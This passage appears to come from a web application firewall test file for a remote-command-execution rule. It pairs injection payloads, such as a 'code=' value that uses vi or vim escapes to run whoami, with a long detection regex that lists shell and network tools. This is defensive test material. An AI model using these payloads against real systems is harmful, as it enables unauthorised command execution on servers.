not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "55O5COJ5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;vi dddd +silent\\\\ \\!whoami +wq\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\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\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "9323HNQU - should not be detected at PL 2" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;vim dddd +silent\\\\ \\!whoami +wq\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?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group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s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\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?: